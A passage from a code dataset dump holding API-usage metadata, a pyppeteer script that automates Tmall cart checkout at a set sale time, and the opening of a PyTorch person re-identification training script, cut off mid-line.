{"api_name": "typing.Dict", "line_number": 314, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 314, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 314, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 314, "usage_type": "name"}, {"api_name": "swagger_server.models.q_node.QNode", "line_number": 314, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 343, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 343, "usage_type": "name"}, {"api_name": "swagger_server.models.q_node.QNode", "line_number": 343, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 291, "usage_type": "name"}, {"api_name": "swagger_server.models.knowledge_graph.KnowledgeGraph", "line_number": 362, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 363, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 369, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 369, "usage_type": "name"}, {"api_name": "swagger_server.models.q_node.QNode", "line_number": 369, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 372, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 372, "usage_type": "name"}, {"api_name": "swagger_server.models.node.Node", "line_number": 372, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 375, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 375, "usage_type": "name"}, {"api_name": "swagger_server.models.node.Node", "line_number": 375, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 379, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 379, "usage_type": "name"}, {"api_name": "swagger_server.models.edge.Edge", "line_number": 379, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 387, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 387, "usage_type": "name"}, {"api_name": "swagger_server.models.node.Node", "line_number": 387, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 388, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 388, "usage_type": "name"}, {"api_name": "swagger_server.models.q_node.QNode", "line_number": 388, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 391, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 391, "usage_type": "name"}, {"api_name": "swagger_server.models.edge.Edge", "line_number": 391, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 392, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 392, "usage_type": "name"}, {"api_name": "swagger_server.models.q_edge.QEdge", "line_number": 392, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 407, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 407, "usage_type": "name"}, {"api_name": "swagger_server.models.edge.Edge", "line_number": 407, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 409, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 409, "usage_type": "name"}, {"api_name": "swagger_server.models.edge.Edge", "line_number": 409, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 415, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 415, "usage_type": "name"}, {"api_name": "swagger_server.models.q_edge.QEdge", "line_number": 415, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 417, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 417, "usage_type": "name"}, {"api_name": "swagger_server.models.q_edge.QEdge", "line_number": 417, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 463, "usage_type": "name"}, {"api_name": "swagger_server.models.result.Result", "line_number": 463, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 364, "usage_type": "name"}, {"api_name": "swagger_server.models.result.Result", "line_number": 364, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 476, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 476, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 485, "usage_type": "name"}, {"api_name": "swagger_server.models.q_node.QNode", "line_number": 485, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 492, "usage_type": "name"}, {"api_name": "swagger_server.models.q_edge.QEdge", "line_number": 492, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 499, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 499, "usage_type": "name"}, {"api_name": "swagger_server.models.q_node.QNode", "line_number": 499, "usage_type": "name"}, {"api_name": "swagger_server.models.knowledge_graph.KnowledgeGraph", "line_number": 528, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 528, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 528, "usage_type": "name"}, {"api_name": "swagger_server.models.knowledge_graph.KnowledgeGraph", "line_number": 539, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 539, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 539, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 550, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 550, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 558, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 558, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 558, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 564, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 564, "usage_type": "name"}, {"api_name": "swagger_server.models.edge.Edge", "line_number": 570, "usage_type": "name"}, {"api_name": "swagger_server.models.q_edge.QEdge", "line_number": 574, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 574, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 574, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 580, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 580, "usage_type": "name"}, {"api_name": "swagger_server.models.knowledge_graph.KnowledgeGraph", "line_number": 580, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 580, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 615, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 615, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 615, "usage_type": "name"}, {"api_name": "swagger_server.models.knowledge_graph.KnowledgeGraph", "line_number": 625, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 626, "usage_type": "name"}, {"api_name": "swagger_server.models.node_binding.NodeBinding", "line_number": 702, "usage_type": "call"}, {"api_name": "swagger_server.models.edge_binding.EdgeBinding", "line_number": 706, "usage_type": "call"}, {"api_name": "swagger_server.models.result.Result", "line_number": 707, "usage_type": "call"}, {"api_name": "typing.cast", "line_number": 724, "usage_type": "call"}, {"api_name": "typing.cast", "line_number": 725, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 627, "usage_type": "name"}, {"api_name": "swagger_server.models.result.Result", "line_number": 627, "usage_type": "name"}]} +{"seq_id": "98106498", "text": "from pyppeteer import launch\nimport datetime\nimport asyncio\nimport multiprocessing\nimport configparser\nimport tbtime\n\ntbtime = tbtime.tbtime\nconf = configparser.ConfigParser()\n\nwidth, height = 1200, 768\ntime_sc_login = 20 # 二维码扫描时间\nclick_freq = 0.5 # 点击间隔\nrepost_order = 0.3 # 页面加载时间\nBEFORE_SECOND = 0 # 提前2秒开始循环点击\npage_nums = 1\nloop_click_sec = 7 # 持续抢购时间\n\n\nasync def login(page):\n await page.setViewport({\"width\": width, \"height\": height})\n print(' {}秒扫码登录： !!!!'.format(time_sc_login))\n await page.goto('https://login.tmall.com')\n count = time_sc_login\n while count >= 0:\n print('\\r 剩余时间：{}'.format(count), end='')\n count -= 1\n await asyncio.sleep(1)\n\n\nasync def goto_cart_pages(browser) -> list:\n pages = []\n for i in range(page_nums):\n page = await browser.newPage()\n await page.setViewport({\"width\": width, \"height\": height})\n await page.goto('https://cart.tmall.com')\n pages.append(page)\n return pages\n\n\nasync def choose_item(pages):\n page_url = []\n for page in pages:\n page_url.append(page.url)\n for i in range(len(pages)):\n await pages[i].bringToFront()\n while page_url[i] == pages[i].url:\n try:\n # await pages[i].click('[for=J_CheckBox_2750006943813]')\n await pages[i].click('[for={}]'.format(str(conf['tmall']['cart'])))\n break\n except KeyError:\n print('未配置页面标签')\n break\n except:\n await asyncio.sleep(click_freq)\n print('未找到商品标签')\n # logging out not find item\n\n\n# 结算按钮\nasync def settle(pages):\n \"\"\"\n 循环所有页面 点击相应的页面\n 判断页面相应结果是否是对应的要求\n \"\"\"\n page_url = []\n for page in pages:\n page_url.append(page.url)\n for i in range(len(pages)):\n await asyncio.sleep(1)\n await pages[i].bringToFront()\n while page_url[i] == pages[i].url:\n try:\n await pages[i].click('#J_SmallSubmit')\n print('提交结算订单')\n except:\n await asyncio.sleep(click_freq)\n print('未找到结算按钮')\n\n\nasync def push_order(pages):\n page_url = []\n for page in pages:\n page_url.append(page.url)\n idx = 0\n loop_times = int(loop_click_sec / click_freq)\n while True:\n if loop_times < 1:\n break\n idx = (idx + 1) % len(pages)\n await pages[idx].bringToFront()\n if page_url[idx] != pages[idx].url:\n await pages[idx].goto(page_url[idx])\n else:\n await pages[idx].reload()\n try:\n await pages[idx].click('.go-btn')\n print('提交订单')\n except:\n print('未找到提交订单按钮')\n await asyncio.sleep(click_freq)\n\n\nasync def main(buy_time):\n conf_init()\n browser = await launch(\n headless=False,\n args=['--disable-infobars', f'--window-size={width},{height}']\n )\n browser = await browser.createIncognitoBrowserContext()\n page = await browser.newPage()\n await login(page)\n pages = await goto_cart_pages(browser)\n await choose_item(pages)\n await settle(pages)\n\n # 等待抢购\n buy_time = datetime.datetime.strptime(buy_time, '%Y-%m-%d %H:%M:%S')\n now_time = datetime.datetime.strptime(tbtime(), '%Y-%m-%d %H:%M:%S')\n wait_second = (buy_time - now_time).seconds if \\\n (buy_time - datetime.datetime.now()).days >= 0 else 0\n print('距离时间还有{}秒\\n'.format(wait_second))\n if wait_second - BEFORE_SECOND > 0:\n await asyncio.sleep(wait_second)\n\n await push_order(pages)\n await asyncio.sleep(3000)\n\n\ndef start(buy_time):\n n_e_l = asyncio.new_event_loop()\n n_e_l.run_until_complete(main(buy_time))\n\n\ndef conf_init():\n conf.read('conf.ini')\n if len(conf['tmall']['cart']) < 10:\n raise Exception('未配置购物车信息')\n\n\nif __name__ == '__main__':\n buy_time = input('请输入开售时间 【2020-02-06(空格)12:55:50】')\n processes = []\n for i in range(1):\n processes.append(multiprocessing.Process(target=start, args=(buy_time,)))\n processes[i].start()\n", "sub_path": "pyping.py", "file_name": "pyping.py", "file_ext": "py", "file_size_in_byte": 4374, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "tbtime.tbtime", "line_number": 8, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 9, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 56, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 71, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 78, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 102, "usage_type": "call"}, {"api_name": "pyppeteer.launch", "line_number": 107, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 119, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 119, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 122, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 122, "usage_type": "attribute"}, {"api_name": "asyncio.sleep", "line_number": 125, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 128, "usage_type": "call"}, {"api_name": "asyncio.new_event_loop", "line_number": 132, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 146, "usage_type": "call"}]} +{"seq_id": "109324450", "text": "from __future__ import print_function\n\nimport argparse\nimport copy\nimport os\nimport os.path as osp\nimport time\nimport datetime\nimport sys\n\nimport numpy as np\nimport torch\nfrom scipy.spatial.distance import cdist\nfrom sklearn.preprocessing import normalize\nfrom torch import nn, optim\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\nfrom torchvision.models.resnet import resnet50, Bottleneck\nfrom torchvision.transforms import functional\nimport torch.nn.functional as F\n\nfrom __init__ import cmc, mean_ap\nfrom market1501_erase_ps_label import Market1501, RandomIdSampler\nfrom msmt17_erase_ps_label import MSMT17\nfrom partial_reid import PartialREID\nfrom partial_ilids import PartialiLIDs\nfrom easy2hard_triplet import TripletSemihardLoss\nfrom random_erasing_w_ps_label import RandomErasingWithPS\nimport shutil\nfrom pa_pool import pa_max_pool\nfrom ps_head import *\nfrom ps_loss import PSLoss\nfrom np_distance import compute_dist_with_visibility\nfrom file_utils import load_pickle, save_pickle\n\n\nclass MGN(nn.Module):\n def __init__(self, num_classes, args, ps_n_classes):\n super(MGN, self).__init__()\n\n self.args = args\n resnet = resnet50(pretrained=False)\n res_path = os.path.dirname(os.path.realpath(__file__)) + '/resnet50-19c8e357.pth'\n resnet.load_state_dict(torch.load(res_path))\n\n # backbone\n self.backbone = nn.Sequential(\n resnet.conv1,\n resnet.bn1,\n resnet.relu,\n resnet.maxpool,\n resnet.layer1, # res_conv2\n resnet.layer2, # res_conv3\n resnet.layer3[0]# res_conv4_1\n )\n\n # res_conv4x\n res_conv4 = nn.Sequential(*resnet.layer3[1:])\n # res_conv5 global\n res_g_conv5 = resnet.layer4\n # res_conv5 part\n res_p_conv5 = nn.Sequential(\n Bottleneck(1024, 512, downsample=nn.Sequential(nn.Conv2d(1024, 2048, 1, bias=False), nn.BatchNorm2d(2048))),\n Bottleneck(2048, 512),\n Bottleneck(2048, 512))\n res_p_conv5.load_state_dict(resnet.layer4.state_dict())\n\n # mgn part-1 global\n self.p1 = nn.Sequential(copy.deepcopy(res_conv4), copy.deepcopy(res_g_conv5 if args.head_1part_stride == 2 else res_p_conv5))\n # mgn part-2\n self.p2 = nn.Sequential(copy.deepcopy(res_conv4), copy.deepcopy(res_p_conv5))\n # mgn part-3\n self.p3 = nn.Sequential(copy.deepcopy(res_conv4), copy.deepcopy(res_p_conv5))\n\n # global max pooling\n self.maxpool_zg_p1 = nn.MaxPool2d(kernel_size=(12, 4) if args.head_1part_stride == 2 else (24, 8))\n self.maxpool_zg_p2 = nn.MaxPool2d(kernel_size=(24, 8))\n self.maxpool_zg_p3 = nn.MaxPool2d(kernel_size=(24, 8))\n\n # conv1 reduce\n add_part_2048 = nn.Sequential(nn.BatchNorm1d(2048), nn.ReLU())\n self._init_add_part(add_part_2048)\n self.add_part_1 = copy.deepcopy(add_part_2048)\n self.add_part_2 = copy.deepcopy(add_part_2048)\n self.add_part_3 = copy.deepcopy(add_part_2048)\n\n \n reduction = nn.Sequential(nn.Conv2d(2048, 256, 1, bias=False), nn.BatchNorm2d(256), nn.ReLU())\n self._init_reduction(reduction)\n self.reduction_0 = copy.deepcopy(reduction)\n self.reduction_1 = copy.deepcopy(reduction)\n self.reduction_2 = copy.deepcopy(reduction)\n self.reduction_3 = copy.deepcopy(reduction)\n self.reduction_4 = copy.deepcopy(reduction)\n self.reduction_5 = copy.deepcopy(reduction)\n self.reduction_6 = copy.deepcopy(reduction)\n self.reduction_7 = copy.deepcopy(reduction)\n\n # fc softmax loss\n self.fc_id_2048_0_tmp = nn.Linear(2048, 2048)\n self.fc_id_2048_1_tmp = nn.Linear(2048, 2048)\n self.fc_id_2048_2_tmp = nn.Linear(2048, 2048)\n self.fc_id_2048_0 = nn.Linear(2048, num_classes)\n self.fc_id_2048_1 = nn.Linear(2048, num_classes)\n self.fc_id_2048_2 = nn.Linear(2048, num_classes)\n self.fc_id_256_1_0 = nn.Linear(256, num_classes)\n self.fc_id_256_1_1 = nn.Linear(256, num_classes)\n self.fc_id_256_2_0 = nn.Linear(256, num_classes)\n self.fc_id_256_2_1 = nn.Linear(256, num_classes)\n self.fc_id_256_2_2 = nn.Linear(256, num_classes)\n\n self._init_fc(self.fc_id_2048_0_tmp)\n self._init_fc(self.fc_id_2048_1_tmp)\n self._init_fc(self.fc_id_2048_2_tmp)\n self._init_fc(self.fc_id_2048_0)\n self._init_fc(self.fc_id_2048_1)\n self._init_fc(self.fc_id_2048_2)\n self._init_fc(self.fc_id_256_1_0)\n self._init_fc(self.fc_id_256_1_1)\n self._init_fc(self.fc_id_256_2_0)\n self._init_fc(self.fc_id_256_2_1)\n self._init_fc(self.fc_id_256_2_2)\n\n embedding = nn.Sequential(nn.Linear(256, 256))\n self.embedding_1 = copy.deepcopy(embedding)\n self.embedding_2 = copy.deepcopy(embedding)\n self.embedding_3 = copy.deepcopy(embedding)\n self._init_embedding(self.embedding_1)\n self._init_embedding(self.embedding_2)\n self._init_embedding(self.embedding_3)\n\n if args.src_ps_lw > 0 or args.cd_ps_lw > 0:\n ps_head_cls = eval(args.ps_head_arch)\n self.ps_head = ps_head_cls({'in_c': 2048, 'mid_c': 256, 'num_classes': ps_n_classes})\n print('Model Structure:')\n print(self)\n \n @staticmethod\n def _init_embedding(embedding):\n nn.init.normal_(embedding[0].weight, std=0.01)\n nn.init.constant_(embedding[0].bias, 0.)\n\n @staticmethod\n def _init_add_part(add_part):\n nn.init.normal_(add_part[0].weight, mean = 1.0, std=0.02)\n nn.init.constant_(add_part[0].bias, 0.)\n \n @staticmethod\n def _init_reduction(reduction):\n nn.init.kaiming_normal_(reduction[0].weight, mode='fan_in')\n nn.init.normal_(reduction[1].weight, mean = 1.0, std=0.02)\n nn.init.constant_(reduction[1].bias, 0.) \n\n @staticmethod\n def _init_fc(fc):\n nn.init.normal_(fc.weight, std=0.001)\n nn.init.constant_(fc.bias, 0.)\n\n def forward(self, in_dict):\n x = self.backbone(in_dict['im'])\n\n p1 = self.p1(x)\n p2 = self.p2(x)\n p3 = self.p3(x)\n\n if hasattr(self, 'ps_head'):\n ps1 = self.ps_head(p1)\n ps2 = self.ps_head(p2)\n ps3 = self.ps_head(p3)\n\n zg_p1 = self.maxpool_zg_p1(p1) # z_g^G\n zg_p2 = self.maxpool_zg_p2(p2) # z_g^P2\n zg_p3 = self.maxpool_zg_p3(p3) # z_g^P3\n\n if args.pap:\n pap_pooled = pa_max_pool({'feat': p2, 'pap_mask': in_dict['pap_mask_2p']})\n z0_p2, z1_p2 = pap_pooled['feat_list']\n part_2_1_v, part_2_2_v = pap_pooled['visible'][:, 0], pap_pooled['visible'][:, 1]\n else:\n zp2 = F.max_pool2d(p2, (12, 8))\n z0_p2 = zp2[:, :, 0:1, :] # z_p0^P2\n z1_p2 = zp2[:, :, 1:2, :] # z_p1^P2\n\n if args.pap:\n pap_pooled = pa_max_pool({'feat': p3, 'pap_mask': in_dict['pap_mask_3p']})\n z0_p3, z1_p3, z2_p3 = pap_pooled['feat_list']\n part_3_1_v, part_3_2_v, part_3_3_v = pap_pooled['visible'][:, 0], pap_pooled['visible'][:, 1], pap_pooled['visible'][:, 2]\n else:\n zp3 = F.max_pool2d(p3, (8, 8))\n z0_p3 = zp3[:, :, 0:1, :] # z_p0^P3\n z1_p3 = zp3[:, :, 1:2, :] # z_p1^P3\n z2_p3 = zp3[:, :, 2:3, :] # z_p2^P3\n \n fg_p1 = self.reduction_0(zg_p1).squeeze(dim=3).squeeze(dim=2) # f_g^G, L_triplet^G\n fg_p2 = self.reduction_1(zg_p2).squeeze(dim=3).squeeze(dim=2) # f_g^P2, L_triplet^P2\n fg_p3 = self.reduction_2(zg_p3).squeeze(dim=3).squeeze(dim=2) # f_g^P3, L_triplet^P3\n f0_p2 = self.reduction_3(z0_p2).squeeze(dim=3).squeeze(dim=2) # f_p0^P2\n f1_p2 = self.reduction_4(z1_p2).squeeze(dim=3).squeeze(dim=2) # f_p1^P2\n f0_p3 = self.reduction_5(z0_p3).squeeze(dim=3).squeeze(dim=2) # f_p0^P3\n f1_p3 = self.reduction_6(z1_p3).squeeze(dim=3).squeeze(dim=2) # f_p1^P3\n f2_p3 = self.reduction_7(z2_p3).squeeze(dim=3).squeeze(dim=2) # f_p2^P3\n \n fg_p1 = self.embedding_1(fg_p1)\n fg_p2 = self.embedding_2(fg_p2)\n fg_p3 = self.embedding_3(fg_p3)\n\n l_p1 = self.fc_id_2048_0_tmp(zg_p1.squeeze(dim=3).squeeze(dim=2)) # L_softmax^G\n l_p2 = self.fc_id_2048_1_tmp(zg_p2.squeeze(dim=3).squeeze(dim=2)) # L_softmax^P2\n l_p3 = self.fc_id_2048_2_tmp(zg_p3.squeeze(dim=3).squeeze(dim=2)) # L_softmax^P3\n \n l_p1 = self.add_part_1(l_p1)\n l_p2 = self.add_part_2(l_p2)\n l_p3 = self.add_part_3(l_p3)\n\n l_p1 = self.fc_id_2048_0(l_p1) # L_softmax^G\n l_p2 = self.fc_id_2048_1(l_p2) # L_softmax^P2\n l_p3 = self.fc_id_2048_2(l_p3) # L_softmax^P3\n\n l0_p2 = self.fc_id_256_1_0(f0_p2) # L_softmax0^P2\n l1_p2 = self.fc_id_256_1_1(f1_p2) # L_softmax1^P2\n l0_p3 = self.fc_id_256_2_0(f0_p3) # L_softmax0^P3\n l1_p3 = self.fc_id_256_2_1(f1_p3) # L_softmax1^P3\n l2_p3 = self.fc_id_256_2_2(f2_p3) # L_softmax2^P3\n \n predict_1 = torch.cat([0.8*f0_p2, f1_p2, 0.7*f0_p3, f1_p3, 0.7*f2_p3], dim=1)\n predict_2 = torch.cat([fg_p1, fg_p2, fg_p3, f0_p2, f1_p2, f0_p3, f1_p3, f2_p3], dim=1) #67575\n if hasattr(self, 'ps_head') and args.pap:\n return predict_1, predict_2, fg_p1, fg_p2, fg_p3, l_p1, l_p2, l_p3, l0_p2, l1_p2, l0_p3, l1_p3, l2_p3, part_2_1_v, part_2_2_v, part_3_1_v, part_3_2_v, part_3_3_v, ps1, ps2, ps3\n elif hasattr(self, 'ps_head') and not args.pap:\n return predict_1, predict_2, fg_p1, fg_p2, fg_p3, l_p1, l_p2, l_p3, l0_p2, l1_p2, l0_p3, l1_p3, l2_p3, ps1, ps2, ps3\n elif not hasattr(self, 'ps_head') and args.pap:\n return predict_1, predict_2, fg_p1, fg_p2, fg_p3, l_p1, l_p2, l_p3, l0_p2, l1_p2, l0_p3, l1_p3, l2_p3, part_2_1_v, part_2_2_v, part_3_1_v, part_3_2_v, part_3_3_v\n else:\n return predict_1, predict_2, fg_p1, fg_p2, fg_p3, l_p1, l_p2, l_p3, l0_p2, l1_p2, l0_p3, l1_p3, l2_p3\n\ndef save_model(model, filename):\n state = model.module.state_dict() if hasattr(model, 'module') else model.state_dict()\n for key in state: \n state[key] = state[key].clone().cpu()\n if not os.path.exists(os.path.dirname(filename)):\n os.makedirs(os.path.dirname(filename))\n torch.save(state, filename)\n\ndef load_model_weight(model, model_weight_file):\n assert osp.exists(model_weight_file), \"model_weight_file {} does not exist!\".format(model_weight_file)\n assert osp.isfile(model_weight_file), \"model_weight_file {} is not file!\".format(model_weight_file)\n model_weight = torch.load(model_weight_file, map_location=(lambda storage, loc: storage))\n model.load_state_dict(model_weight)\n msg = '=> Loaded model_weight from {}'.format(model_weight_file)\n print(msg)\n\ndef get_dataset_root(name):\n if name == 'market1501':\n root = 'Market-1501-v15.09.15'\n elif name == 'cuhk03':\n root = 'cuhk03-np-jpg/detected'\n elif name == 'duke':\n root = 'DukeMTMC-reID'\n else:\n raise ValueError\n return root\n\n\nclass InfiniteNextBatch(object):\n def __init__(self, loader):\n self.loader = loader\n self.reset()\n\n def reset(self):\n self.loader_iter = iter(self.loader)\n\n def next_batch(self):\n try:\n batch = self.loader_iter.next()\n except StopIteration:\n self.reset()\n batch = self.loader_iter.next()\n return batch\n\n\ndef get_next_batch(loader):\n try:\n batch = loader.next()\n except StopIteration:\n batch = loader.next()\n return batch\n\n\ndef run(args):\n gpuId, epochs, weight_decay, batch_id, batch_image, lr_1, lr_2, erasing_p, sampling, exp_dir, trainset_name, cd_trainset_name, testset_names, rand_crop, head_1part_stride = \\\n args.gpuId, args.epochs, args.weight_decay, args.batch_id, args.batch_image, args.lr_1, args.lr_2, args.erasing_p, args.sampling, args.exp_dir, args.trainset_name, args.cd_trainset_name, args.testset_names, args.rand_crop, args.head_1part_stride\n\n DEVICE = torch.device(\"cuda:\" + gpuId if torch.cuda.is_available() else \"cpu\")\n print(DEVICE)\n num_workers = 4\n\n batch_test = 64 #32\n\n train_list = [transforms.Resize((400, 144)), transforms.RandomCrop((384, 128))] if rand_crop else [transforms.Resize((384, 128))]\n train_list += [\n transforms.ToTensor(),\n ]\n re_obj = RandomErasingWithPS(probability=erasing_p, mean=[0.0, 0.0, 0.0]) ####\n train_list += [transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])]\n train_transform = transforms.Compose(train_list)\n\n if args.ps_head_arch in ['PartSegHeadConv', 'PartSegHeadConvConv']:\n ps_w_h = (8, 24)\n elif args.ps_head_arch in ['PartSegHeadDeconvConv']:\n ps_w_h = (16, 48)\n elif args.ps_head_arch in ['PartSegHeadDeconvDeconvConv']:\n ps_w_h = (32, 96)\n else:\n raise ValueError('Invalid ps_head_arch: {}'.format(args.ps_head_arch))\n\n if args.ps_fuse_type == 'None':\n ps_n_classes = 8\n elif args.ps_fuse_type == '4parts':\n ps_n_classes = 5\n elif args.ps_fuse_type == '2parts':\n ps_n_classes = 3\n elif args.ps_fuse_type == 'fg':\n ps_n_classes = 2\n else:\n raise ValueError('Invalid ps_fuse_type: {}'.format(args.ps_fuse_type))\n\n if trainset_name in ['market1501', 'cuhk03', 'duke']:\n root = get_dataset_root(trainset_name)\n if args.src_ps_lw > 0:\n if trainset_name == 'cuhk03':\n ps_dir = root.replace('cuhk03-np-jpg', 'cuhk03-np-jpg_ps_label')\n else:\n ps_dir = root + '_ps_label'\n if args.ps_label_root != 'None':\n ps_dir = args.ps_label_root\n else:\n ps_dir = None\n train_dataset = Market1501(\n root + '/bounding_box_train',\n transform=train_transform,\n training=True,\n kpt_file=trainset_name+'-kpt.pkl' if args.pap else None,\n ps_dir=ps_dir,\n re_obj=re_obj,\n ps_w_h=ps_w_h,\n ps_fuse_type=args.ps_fuse_type,\n )\n elif trainset_name in ['msmt17']:\n ps_dir = 'msmt17/MSMT17_V1_ps_label'\n if args.ps_label_root != 'None':\n ps_dir = args.ps_label_root\n train_dataset = MSMT17(\n transform=train_transform,\n training=True,\n use_kpt=args.pap,\n ps_dir=ps_dir,\n split='train',\n re_obj=re_obj,\n ps_w_h=ps_w_h,\n ps_fuse_type=args.ps_fuse_type,\n )\n else:\n raise ValueError('Invalid train set {}'.format(trainset_name))\n train_loader = DataLoader(train_dataset,\n sampler=RandomIdSampler(train_dataset, batch_image=batch_image),\n batch_size=batch_id * batch_image,\n num_workers=num_workers, drop_last=True)\n \n # TODO: consider erase ps label\n # TODO: ps_dir, and args.ps_label_root for cd_train\n if args.cd_ps_lw > 0:\n if cd_trainset_name in ['market1501', 'cuhk03', 'duke']:\n cd_train_dataset = Market1501(get_dataset_root(cd_trainset_name) + '/bounding_box_train', transform=train_transform, training=True, kpt_file=None, ps_dir=cd_trainset_name + '-ps')\n elif cd_trainset_name in ['msmt17']:\n cd_train_dataset = MSMT17(transform=train_transform, training=True, use_kpt=False, use_ps=True)\n else:\n raise ValueError('Invalid cd train set {}'.format(cd_trainset_name))\n cd_train_loader = InfiniteNextBatch(DataLoader(cd_train_dataset,\n batch_size=args.cd_train_batch_size,\n num_workers=num_workers, drop_last=True))\n\n test_transform = transforms.Compose([\n transforms.Resize((384, 128)),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n ])\n test_flip_transform = transforms.Compose([\n transforms.Resize((384, 128)),\n functional.hflip,\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n ])\n\n def make_test_loader_M_C_D(root, name):\n query_dataset = Market1501(root + '/query', transform=test_transform, training=False, kpt_file=name+'-kpt.pkl' if args.pap else None)\n query_flip_dataset = Market1501(root + '/query', transform=test_flip_transform, training=False, kpt_file=name+'-kpt.pkl' if args.pap else None)\n query_loader = DataLoader(query_dataset, batch_size=batch_test, num_workers=num_workers)\n query_flip_loader = DataLoader(query_flip_dataset, batch_size=batch_test, num_workers=num_workers)\n\n test_dataset = Market1501(root + '/bounding_box_test', transform=test_transform, training=False, kpt_file=name+'-kpt.pkl' if args.pap else None)\n test_flip_dataset = Market1501(root + '/bounding_box_test', transform=test_flip_transform, training=False, kpt_file=name+'-kpt.pkl' if args.pap else None)\n test_loader = DataLoader(test_dataset, batch_size=batch_test, num_workers=num_workers)\n test_flip_loader = DataLoader(test_flip_dataset, batch_size=batch_test, num_workers=num_workers)\n return query_loader, query_flip_loader, test_loader, test_flip_loader\n\n def make_test_loader_MS_PR_PI(name):\n ps_kwargs = {'use_ps': False}\n if name == 'msmt17':\n dclass = MSMT17\n ps_kwargs = {'ps_dir': 'msmt17/MSMT17_V1_ps_label'}\n elif name == 'partial_reid':\n dclass = PartialREID\n elif name == 'partial_ilids':\n dclass = PartialiLIDs\n else:\n raise ValueError('Invalid dataset name {}'.format(name))\n q_set = dclass(transform=test_transform, training=False, use_kpt=args.pap, split='query', **ps_kwargs)\n q_flip_set = dclass(transform=test_flip_transform, training=False, use_kpt=args.pap, split='query', **ps_kwargs)\n q_loader = DataLoader(q_set, batch_size=batch_test, num_workers=num_workers)\n q_flip_loader = DataLoader(q_flip_set, batch_size=batch_test, 